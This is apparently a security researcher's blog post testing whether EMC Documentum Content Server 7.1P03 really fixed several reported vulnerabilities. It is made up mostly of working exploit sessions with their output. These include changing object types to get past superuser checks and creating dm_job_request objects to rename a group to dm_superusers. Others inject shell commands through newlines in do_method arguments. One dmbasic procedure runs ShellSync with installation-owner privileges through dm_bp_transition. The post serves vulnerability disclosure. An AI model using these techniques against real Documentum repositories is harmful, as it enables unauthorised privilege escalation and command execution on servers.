God bless EMC. Part VII

Yesterday EMC released Content Server 7.1P03 with a plenty of security fixes:

let’s check whether issues mentioned above was really fixed or not.

CS-44477: any user can create dm_jms_config

 ~]$ idql
Please enter a docbase name (docubase): xcp21
Please enter a user (dmadmin): dm_bof_registry
Please enter password for dm_bof_registry:


        EMC Documentum idql - Interactive document query interface
        (c) Copyright EMC Corp., 1992 - 2013
        All rights reserved.
        Client Library Release 7.1.0020.0120


Connecting to Server using docbase xcp21
[DM_SESSION_I_SESSION_START]info:  
    "Session 0102242880001dc9 started for user dm_bof_registry."


Connected to Documentum Server running Release 7.1.0030.0173  Linux64.Oracle
1> create dm_jms_config object 
2> set object_name='test jms config'
3> go
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
    "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege."

1> create dm_sysobject object
2> set object_name='test jms config'
3> go
object_created
----------------
08022428800056fa
(1 row affected)
1> select r_object_id from dm_server_config
2> go
r_object_id
----------------
3d02242880000102
(1 row affected)

1> select r_object_id from dm_jms_config
2> go
r_object_id
----------------
(0 rows affected)
1> change dm_sysobject object to dm_sysprocess_config
2> where object_name='test jms config'
3> go
objects_changed
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your CHANGE statement."

1> change dm_sysprocess_config object to dm_jms_config
2> append server_config_id='3d02242880000102'
3> where object_name='test jms config'
4> go
objects_changed
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your CHANGE statement."

CS-44439: arbitrary code execution in dm_bp_transition.ebs

Looks like EMC tried to restrict creation of dm_procedure objects by regular user:

1> create dm_procedure object
2> set object_name='test procedure'
3> go
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
   "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege."

1> create dm_sysobject object
2> set object_name='test procedure'
3> go
object_created
----------------
080224288000571c
(1 row affected)
1> change dm_sysobject object to dm_procedure
2> where object_name='test procedure'
3> go
objects_changed
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your CHANGE statement."

But the problem is dm_bp_transition method accepts not only dm_procedure object as argument, but any sysobject as well.

CS-44435: any user can execute Java code on behalf of the superuser

The problem was that in default setup Documentum has two folders inside ‘/System/Modules’ folder which are accessible for write by any user, these folders are:

  1. /System/Modules/Validation/Java/dmc_JavaDocbasicSyncObject
  2. /System/Modules/Validation/Java

That means any user is able to create own dmc_module object and execute arbitrary java code on JMS or application server. Let’s check what EMC did to fix this issue.
Previously some restrictions were applied by DFC to prevent creation of dmc_module objects by regular user:

API> create,c,dmc_module
...
0b01ffd7800dd968
API>
set,c,l,object_name
SET> test
...
OK
API> save,c,l
...
[DFC_BOF_MUST_BE_SYS_ADMIN] 
  Must have at least System Admin privilege to create or save a module.

But because dmc_module is not registered as BOFv2 module is was possible to create dmc_module object using DQL create command:

API> ?,c,create dmc_module object set object_name='test'
object_created
----------------
0b01ffd7800dd984
(1 row affected)

Now:

1> create dmc_module object
2> set object_name='test dmc module'
3> go
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
   "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege."

1> create dm_folder object
2> set object_name='test dmc module'
3> go
object_created
----------------
0b0224288000578c
(1 row affected)
1> change dm_folder object to dmc_module
2> where object_name='test dmc module'
3> go
objects_changed
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your CHANGE statement."

CS-44409: shell injection in pre_erouter* methods

It seems that EMC implemented some checks on Content Server side and banned some special characters:

 ~]$ idql xcp21 -Udm_bof_registry -Pdm_bof_registry >/dev/null >>_EOF_
> execute do_method with method='pre_erouter4_forward',
> arguments='-docbase ";echo awk_methods_have_vulnerability > /tmp/test;"'
> go
> _EOF_
[DM_SESSION_I_SESSION_START]info:  
   "Session 0102242880001e10 started for user dm_bof_registry."

[DM_METHOD_E_METHOD_ARGS_INVALID]error:  
    "The arguments being passed to the method 'pre_erouter4_forward' 
     are invalid: arguments contain special characters which are not allowed."

But they forgot about “new line” character:

 ~]$ idql xcp21 -Udm_bof_registry -Pdm_bof_registry >/dev/null >>_EOF_
> execute do_method with method='pre_erouter4_forward',
> arguments='-ticket "
>
> malicious_command
>
> "'
> go
> _EOF_
[DM_SESSION_I_SESSION_START]info:  
   "Session 0102242880001e7f started for user dm_bof_registry."

Server log:

Wrong number of arguments (9) passed to entry point 'prefdeci'.
sh: line 1: malicious_command: command not found
dmExec::ForkLaunch() process exit code: 127
dmExec::ForkLaunch() returning value: 127
dmUnderTaker: waitpid() results:
  Pid:           20037
  Errno:         0
  DeathByExit:   1
  ExitVal:       127
  DeathByStop:   0
  StopVal:       127
  DeathBySignal: 0
  SigVal:        0

CS-44389: shell injection in replicate_setup_methods

I didn’t write about this issue in my blog because it’s totally useless: replicate_setup_methods method has shell injection vulnerability:

execute do_method with method='replicate_setup_methods', 
arguments='mkfile "" ";echo replicate_setup_methods_has_vulnerability > /tmp/test;" false'

but because only superuser is able to execute this method, it’s possible to exploit vulnerability only through another XSRF vulnerability or through job. But EMC have announced this vulnerability as fixed, so now I’m announcing it as not fixed – the fix has the same mistake as CS-44409:

execute do_method with method='replicate_setup_methods', arguments='mkfile "" "

malicious_command

" false'

CS-44360: some long description

It’s already second try to fix issue, and remedy is still wrong:

1> create dm_job_request OBJECT set object_name='GroupRename',
2> set job_name='dm_GroupRename1',
3> set method_name='dm_GroupRename',
4> set arguments_keys[0]='OldGroupName',
5> set arguments_values[0]='testjobrequest',
6> set arguments_keys[1]='NewGroupName',
7> set arguments_values[1]='dm_superusers',
8> set arguments_keys[2]='report_only',
9> set arguments_values[2]='F',
10> set arguments_keys[3]='unlock_locked_obj',
11> set arguments_values[3]='T'
12> go
object_created
----------------
08022428800058f6
(1 row affected)
1> update dm_job_request objects set job_name='dm_GroupRename'
2> where job_name='dm_GroupRename1'
3> go
[DM_QUERY_F_UP_SAVE]fatal:  "UPDATE:  An error has occurred during a save operation."

[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
  "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege."

1> create dm_sysobject object
2> set object_name='dm_GroupRename2'
3> go
object_created
----------------
08022428800058fd
(1 row affected)

1> change dm_sysobject object to dm_job_request
2> set object_name='GroupRename',
3> set job_name='dm_GroupRename',
4> set method_name='dm_GroupRename',
5> set arguments_keys[0]='OldGroupName',
6> set arguments_values[0]='testjobrequest',
7> set arguments_keys[1]='NewGroupName',
8> set arguments_values[1]='dm_superusers',
9> set arguments_keys[2]='report_only',
10> set arguments_values[2]='F',
11> set arguments_keys[3]='unlock_locked_obj',
12> set arguments_values[3]='T'
13> where object_name='dm_GroupRename2'
14> go
objects_changed
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your CHANGE statement."

documentum security vulnerabilities: dm_bp_transition method

Documentum has two implementations of lifecycle transitions:

  • dmbasic
  • java

The first one is implemented by dm_bp_transition method:

API> retrieve,c,dm_method where object_name='dm_bp_transition'
...
1001ffd780000176
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dm_bp_transition
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 3
  method_verb                     : ./dmbasic -f./dm_bp_transition.ebs -eBP_Transition
  method_args                   []: <none>
  launch_direct                   : T
  launch_async                    : F
  trace_launch                    : F
  run_as_server                   : T

this method accepts following parameters:

Sub BP_Transition(_
    docbase_name$,_
    server_config_name$,_
    user_name$,_
    user_ticket$,_
    sysID$,_
    policyID$,_
    aliasID$,_
    userEntryID$,_
    actionID$,_
    userActionID$,_
    userPostprocID$,_
    targetState$,_
    targetStateNo$,_
    resumeStateNo$,_
    run_entry$,_
    run_actions$,_
    commitFlag$,_
    attachFlag$,_
    login_as$,_
    orig_sessionID$)

the most interesting parameters are: user_name$ which is used to construct repository session:

  buff = "connect," & docbase_name & "." & server_config_name _
         & "," & user_name & "," & user_ticket
  sess = dmAPIGet(buff)

  If sess = "" Then
    dmExit(CONNECTION_ERROR)
  End If

and userPostprocID$ which is used to run custom dmbasic procedure:

  If (result = True And commitFlag = "T") Then
    If (debug = True) Then
      PrintToLog sess, "Commit the changes."
    End If
    result = CommitIt(sess, sysID, policyID, aliasID, targetStateNo, resumeStateNo, attachFlag)
    If (result = True) Then
      If (debug = True) Then
        PrintToLog sess, "Run post action."
      End If
      result = RunProcedure(userPostprocID, 4, sess, sysID,_
                            user_name, targetState)
    End If
  Else

Such implementation allows any user to write own dmbasic procedure and run it with installation owner privileges, example:

$ cat /tmp/test  
cat: /tmp/test: No such file or directory  
$ cat > test.ebs  
Public Function EntryCriteria(ByVal SessionId As String, 
                              ByVal ObjectId As String, 
                              ByVal UserName As String, 
                              ByVal TargetState As String, 
                              ByRef ErrorString As String
                ) As Boolean  
  t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")  
  EntryCriteria=True  
End Function  
$ iapi  
Please enter a docbase name (docubase): repo  
Please enter a user (dmadmin): unprivileged_user  
Please enter password for unprivileged_user:  
  
  
        EMC Documentum iapi - Interactive API interface  
        (c) Copyright EMC Corp., 1992 - 2011  
        All rights reserved.  
        Client Library Release 6.7.1000.0027  
  
  
Connecting to Server using docbase repo  
[DM_SESSION_I_SESSION_START]info:  "Session 0101d920800b1a37 
       started for user unprivileged_user."  
  
  
Connected to Documentum Server running Release 6.7.1090.0170  Linux.Oracle  
Session id is s0  
API> create,c,dm_procedure  
...  
0801d920804e5416  
API> set,c,l,object_name  
SET> test  
...  
OK  
API> setfile,c,l,test.ebs,crtext  
...  
OK  
API> save,c,l  
...  
OK  
API> ?,c,execute do_method with method='dm_bp_transition', 
         arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 
                    0000000000000000 0801d920804e5416 0000000000000000 0000000000000000 
                    0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000
         '  
(1 row affected)  
  
API> Bye  
$ cat /tmp/test  
dm_bp_transition_has_vulnerability

This vulnerability was reported as CS-44439 (Security vulnerability with dm_bp_transition.ebs – shell injection)